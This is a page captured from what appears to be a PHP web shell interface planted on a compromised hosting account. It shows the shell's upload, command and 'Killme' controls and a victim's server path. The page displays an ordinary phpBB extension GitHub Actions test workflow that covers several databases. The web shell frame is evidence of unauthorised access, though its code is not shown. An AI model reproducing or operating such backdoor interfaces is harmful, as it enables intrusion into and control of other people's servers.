.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/ext/phpbb/viglink/.github/workflows/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/ext/phpbb/viglink/.github/workflows/tests.yml

    name: Tests
    
    env:
        EXTNAME: phpbb/viglink   # Your extension vendor/package name
        SNIFF: 1             # Run code sniffer on your code? 1 or 0
        IMAGE_ICC: 1         # Run icc profile sniffer on your images? 1 or 0
        EPV: 1               # Run EPV (Extension Pre Validator) on your code? 1 or 0
        EXECUTABLE_FILES: 1  # Run check for executable files? 1 or 0
        PHPBB_BRANCH: 3.3.x  # The phpBB branch to run tests on
    
    on:
        push:
            branches:        # Run tests when commits are pushed to these branches in your repo
                - master
                - develop
        pull_request:        # Run tests when pull requests are made on these branches in your repo
            branches:
                - master
                - develop
    
    jobs:
        # START Basic Checks Job (EPV, code sniffer, images check, etc.)
        basic-checks:
            runs-on: ubuntu-18.04
            strategy:
                matrix:
                    include:
                        - php: '7.1'
                          db: "none"
                          NOTESTS: 1
    
            name: PHP ${{ matrix.php }} - ${{ matrix.db }}
    
            steps:
                - name: Checkout phpBB
                  uses: actions/checkout@v2
                  with:
                      repository: phpbb/phpbb
                      ref: ${{ env.PHPBB_BRANCH }}
                      path: phpBB3
    
                - name: Checkout extension
                  uses: actions/checkout@v2
                  with:
                      path: phpBB3/phpBB/ext/${{ env.EXTNAME }}
    
                - name: Setup PHP
                  uses: shivammathur/setup-php@v2
                  with:
                      php-version: ${{ matrix.php }}
                      extensions: dom, curl, libxml, mbstring, zip, pcntl, pdo, mysqli, sqlite, pdo_sqlite, intl, gd, exif, iconv, sqlsrv, pdo_sqlsrv, ldap
                      coverage: none
    
                - name: Setup environment for phpBB
                  env:
                      DB: ${{ matrix.db }}
                      PHP_VERSION: ${{ matrix.php }}
                      NOTESTS: '1'
                  run: .github/setup-phpbb.sh $DB $PHP_VERSION $NOTESTS
                  working-directory: ./phpBB3
    
                - name: Setup EPV
                  if: ${{ env.EPV != 0 }}
                  run: composer require phpbb/epv:dev-master --dev --no-interaction --ignore-platform-reqs
                  working-directory: ./phpBB3/phpBB
    
                - name: Run code sniffer
                  if: ${{ env.SNIFF != 0 }}
                  env:
                      NOTESTS: '1'
                  run: .github/ext-sniff.sh $EXTNAME $NOTESTS
                  working-directory: ./phpBB3
    
                - name: Check image ICC profiles
                  if: ${{ env.IMAGE_ICC != 0 }}
                  run: .github/check-image-icc-profiles.sh
                  working-directory: ./phpBB3
    
                - name: Check executable files
                  if: ${{ env.EXECUTABLE_FILES != 0 }}
                  run: .github/ext-check-executable-files.sh ./ $EXTNAME
                  working-directory: ./phpBB3
    
                - name: Run EPV
                  if: ${{ env.EPV != 0 }}
                  run: phpBB/vendor/bin/EPV.php run --dir="phpBB/ext/$EXTNAME/"
                  working-directory: ./phpBB3
        # END Basic Checks Job
    
        # START MySQL and MariaDB Job
        mysql-tests:
            runs-on: ubuntu-18.04
            strategy:
                matrix:
                    include:
                        - php: '7.1'
                          db: "mariadb:10.1"
                        - php: '7.1'
                          db: "mariadb:10.2"
                        - php: '7.1'
                          db: "mariadb:10.3"
                        - php: '7.1'
                          db: "mariadb:10.4"
                        - php: '7.1'
                          db: "mariadb:10.5"
                        - php: '7.1'
                          db: "mysql:5.6"
                          db_alias: "MyISAM Tests"
                          MYISAM: 1
                        - php: '7.1'
                          db: "mysql:5.6"
                        - php: '7.1'
                          db: "mysql:5.7"
                        - php: '7.2'
                          db: "mysql:5.7"
                        - php: '7.3'
                          db: "mysql:5.7"
                        - php: '7.4'
                          db: "mysql:5.7"
                        - php: '7.4'
                          db: "mysql:8.0"
                        - php: '8.0'
                          db: "mysql:5.7"
                        - php: '8.1'
                          db: "mysql:5.7"
    
            name: PHP ${{ matrix.php }} - ${{ matrix.db_alias != '' && matrix.db_alias || matrix.db }}
    
            services:
                mysql:
                    image: ${{ matrix.db }}
                    env:
                        MYSQL_ALLOW_EMPTY_PASSWORD: yes
                        MYSQL_DATABASE: phpbb_tests
                    ports:
                        - 3306:3306
                    options: >-
                        --health-cmd="mysqladmin ping"
                        --health-interval=10s
                        --health-timeout=5s
                        --health-retries=3
    
                redis:
                    image: redis
                    options: >-
                        --health-cmd "redis-cli ping"
                        --health-interval 10s
                        --health-timeout 5s
                        --health-retries 5
                    ports:
                        - 6379:6379
    
            steps:
                - name: Checkout phpBB
                  uses: actions/checkout@v2
                  with:
                      repository: phpbb/phpbb
                      ref: ${{ env.PHPBB_BRANCH }}
                      path: phpBB3
    
                - name: Checkout extension
                  uses: actions/checkout@v2
                  with:
                      path: phpBB3/phpBB/ext/${{ env.EXTNAME }}
    
                - id: database-type
                  env:
                      MATRIX_DB: ${{ matrix.db }}
                  run: |
                      db=$(echo "${MATRIX_DB%%:*}")
                      echo "::set-output name=db::$db"
    
                - name: Setup PHP
                  uses: shivammathur/setup-php@v2
                  with:
                      php-version: ${{ matrix.php }}
                      extensions: dom, curl, libxml, mbstring, zip, pcntl, pdo, mysqli, sqlite, pdo_sqlite, intl, gd, exif, iconv, sqlsrv, pdo_sqlsrv, ldap
                      coverage: none
    
                - name: Setup environment for phpBB
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                      PHP_VERSION: ${{ matrix.php }}
                      NOTESTS: '0'
                  run: .github/setup-phpbb.sh $DB $PHP_VERSION ${NOTESTS:-0}
                  working-directory: ./phpBB3
    
                - name: Setup database
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                      MYISAM: ${{ matrix.MYISAM != 1 && '0' || '1' }}
                  run: .github/setup-database.sh $DB $MYISAM
                  working-directory: ./phpBB3
    
                - name: Setup PHPUnit files
                  run: mkdir -p phpBB/ext/$EXTNAME/.github && cp .github/phpunit* $_
                  working-directory: ./phpBB3
    
                - name: Run unit tests
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                  run: phpBB/vendor/bin/phpunit --configuration phpBB/ext/$EXTNAME/.github/phpunit-$DB-github.xml --bootstrap ./tests/bootstrap.php
                  working-directory: ./phpBB3
        # END MySQL and MariaDB Job
    
        # START PostgreSQL Job
        postgres-tests:
            runs-on: ubuntu-18.04
            strategy:
                matrix:
                    include:
                        - php: '7.1'
                          db: "postgres:9.5"
                        - php: '7.1'
                          db: "postgres:9.6"
                        - php: '7.1'
                          db: "postgres:10"
                        - php: '7.1'
                          db: "postgres:11"
                        - php: '7.1'
                          db: "postgres:12"
                        - php: '7.1'
                          db: "postgres:13"
    
            name: PHP ${{ matrix.php }} - ${{ matrix.db }}
    
            services:
                postgres:
                    image: ${{ matrix.db != 'postgres:9.5' && matrix.db != 'postgres:9.6' && matrix.db != 'postgres:10' && matrix.db != 'postgres:11' && matrix.db != 'postgres:12' && matrix.db != 'postgres:13' && 'postgres:10' || matrix.db }}
                    env:
                        POSTGRES_HOST: localhost
                        POSTGRES_USER: postgres
                        POSTGRES_PASSWORD: postgres
                    ports:
                        - 5432:5432
                    options: >-
                        -v /var/run/postgresql:/var/run/postgresql
                        --health-cmd pg_isready
                        --health-interval 10s
                        --health-timeout 5s
                        --health-retries 5
    
                redis:
                    image: redis
                    options: >-
                        --health-cmd "redis-cli ping"
                        --health-interval 10s
                        --health-timeout 5s
                        --health-retries 5
                    ports:
                        - 6379:6379
    
            steps:
                - name: Checkout phpBB
                  uses: actions/checkout@v2
                  with:
                      repository: phpbb/phpbb
                      ref: ${{ env.PHPBB_BRANCH }}
                      path: phpBB3
    
                - name: Checkout extension
                  uses: actions/checkout@v2
                  with:
                      path: phpBB3/phpBB/ext/${{ env.EXTNAME }}
    
                - id: database-type
                  env:
                      MATRIX_DB: ${{ matrix.db }}
                  run: |
                      db=$(echo "${MATRIX_DB%%:*}")
                      echo "::set-output name=db::$db"
    
                - name: Setup PHP
                  uses: shivammathur/setup-php@v2
                  with:
                      php-version: ${{ matrix.php }}
                      extensions: dom, curl, libxml, mbstring, zip, pcntl, pdo, mysqli, sqlite, pdo_sqlite, intl, gd, exif, iconv, sqlsrv, pdo_sqlsrv, ldap
                      coverage: none
    
                - name: Setup environment for phpBB
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                      PHP_VERSION: ${{ matrix.php }}
                      NOTESTS: '0'
                  run: .github/setup-phpbb.sh $DB $PHP_VERSION ${NOTESTS:-0}
                  working-directory: ./phpBB3
    
                - name: Setup database
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                      MYISAM: '0'
                  run: .github/setup-database.sh $DB $MYISAM
                  working-directory: ./phpBB3
    
                - name: Setup PHPUnit files
                  run: mkdir -p phpBB/ext/$EXTNAME/.github && cp .github/phpunit* $_
                  working-directory: ./phpBB3
    
                - name: Run unit tests
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                  run: phpBB/vendor/bin/phpunit --configuration phpBB/ext/$EXTNAME/.github/phpunit-$DB-github.xml --bootstrap ./tests/bootstrap.php
                  working-directory: ./phpBB3
        # END PostgreSQL Job
    
        # START Other Tests Job (SQLite 3 and mssql)
        other-tests:
            runs-on: ubuntu-18.04
            strategy:
                matrix:
                    include:
                        - php: '7.1'
                          db: "sqlite3"
                        - php: '7.2'
                          db: "mcr.microsoft.com/mssql/server:2017-latest"
                          db_alias: 'MSSQL 2017'
                        - php: '7.2'
                          db: "mcr.microsoft.com/mssql/server:2019-latest"
                          db_alias: 'MSSQL 2019'
    
            name: PHP ${{ matrix.php }} - ${{ matrix.db_alias != '' && matrix.db_alias || matrix.db }}
    
            services:
                mssql:
                    image: ${{ matrix.db != 'mcr.microsoft.com/mssql/server:2017-latest' && matrix.db != 'mcr.microsoft.com/mssql/server:2019-latest' && 'mcr.microsoft.com/mssql/server:2017-latest' || matrix.db }}
                    env:
                        SA_PASSWORD: "Pssw0rd_12"
                        ACCEPT_EULA: "y"
                    ports:
                        - 1433:1433
                    options: >-
                        --health-cmd="/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P 'Pssw0rd_12' -Q \"Use [master]; CREATE DATABASE [phpbb_tests] COLLATE Latin1_General_CI_AS\" || exit 1"
                        --health-interval 10s
                        --health-timeout 5s
                        --health-retries 5
                        --health-start-period 10s
    
                redis:
                    image: redis
                    options: >-
                        --health-cmd "redis-cli ping"
                        --health-interval 10s
                        --health-timeout 5s
                        --health-retries 5
                    ports:
                        - 6379:6379
    
            steps:
                - name: Checkout phpBB
                  uses: actions/checkout@v2
                  with:
                      repository: phpbb/phpbb
                      ref: ${{ env.PHPBB_BRANCH }}
                      path: phpBB3
    
                - name: Checkout extension
                  uses: actions/checkout@v2
                  with:
                      path: phpBB3/phpBB/ext/${{ env.EXTNAME }}
    
                - id: database-type
                  env:
                      MATRIX_DB: ${{ matrix.db }}
                  run: |
                      if [ $MATRIX_DB == 'mcr.microsoft.com/mssql/server:2017-latest' ] || [ $MATRIX_DB == 'mcr.microsoft.com/mssql/server:2019-latest' ]
                      then
                          db='mssql'
                      else
                          db=$(echo "${MATRIX_DB%%:*}")
                      fi
                      echo "::set-output name=db::$db"
    
                - name: Setup PHP
                  uses: shivammathur/setup-php@v2
                  with:
                      php-version: ${{ matrix.php }}
                      extensions: dom, curl, libxml, mbstring, zip, pcntl, pdo, mysqli, sqlite, pdo_sqlite, intl, gd, exif, iconv, sqlsrv, pdo_sqlsrv, ldap
                      coverage: none
    
                - name: Setup environment for phpBB
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                      PHP_VERSION: ${{ matrix.php }}
                      NOTESTS: '0'
                  run: .github/setup-phpbb.sh $DB $PHP_VERSION ${NOTESTS:-0}
                  working-directory: ./phpBB3
    
                - name: Setup database
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                      MYISAM: '0'
                  run: .github/setup-database.sh $DB $MYISAM
                  working-directory: ./phpBB3
    
                - name: Setup PHPUnit files
                  run: mkdir -p phpBB/ext/$EXTNAME/.github && cp .github/phpunit* $_
                  working-directory: ./phpBB3
    
                - name: Run unit tests
                  env:
                      DB: ${{steps.database-type.outputs.db}}
                  run: phpBB/vendor/bin/phpunit --configuration phpBB/ext/$EXTNAME/.github/phpunit-$DB-github.xml --bootstrap ./tests/bootstrap.php
                  working-directory: ./phpBB3
        # END Other Tests Job